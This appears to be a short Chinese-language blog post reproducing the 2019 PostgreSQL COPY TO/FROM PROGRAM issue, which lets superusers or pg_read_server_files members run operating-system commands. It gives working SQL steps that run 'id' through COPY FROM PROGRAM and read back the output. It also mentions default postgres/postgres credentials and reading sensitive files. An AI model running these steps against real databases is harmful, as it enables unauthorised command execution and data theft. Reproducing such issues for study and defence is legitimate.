PG数据库2019年爆出的这也是一个权限问题的漏洞,2018爆出的那个是利用远程命令执行,让超级用户去执行备份语句即可触发恶意命令。
而19年这个则是因为PG的9.3后Postgres新增了一个COPY TO/FROM PROGRAM命令,这个命令允许数据库的超级用户以及pg_read_server_files组中的任何用户执行操作系统命令,也就是说即使不是超级用户也有可能实现任意命令执行。
这里用超级用户(账号:posgres,密码:postgres)复现,普通用户必须得在pg_read_server_files组中,
- #删除一张都会要复现的表,这个表名(cmd_exec)不是固定的也可以用其它的名称
- DROP TABLE IF EXISTS cmd_exec;
-
- #创建一张表名,列名(cmd_output)不是固定的随便取
- CREATE TABLE cmd_exec(cmd_output text);
-
- #用开始提到的COPY执行命令,cmd_exec是保存命令执行后的内容,id是我们可以执行的命令
- COPY cmd_exec FROM PROGRAM 'id';
-
- #查看cmd_exec命令执行后保存的内容
- SELECT * FROM cmd_exec;
借此我们可以尝试读取一些敏感文件内容
参考: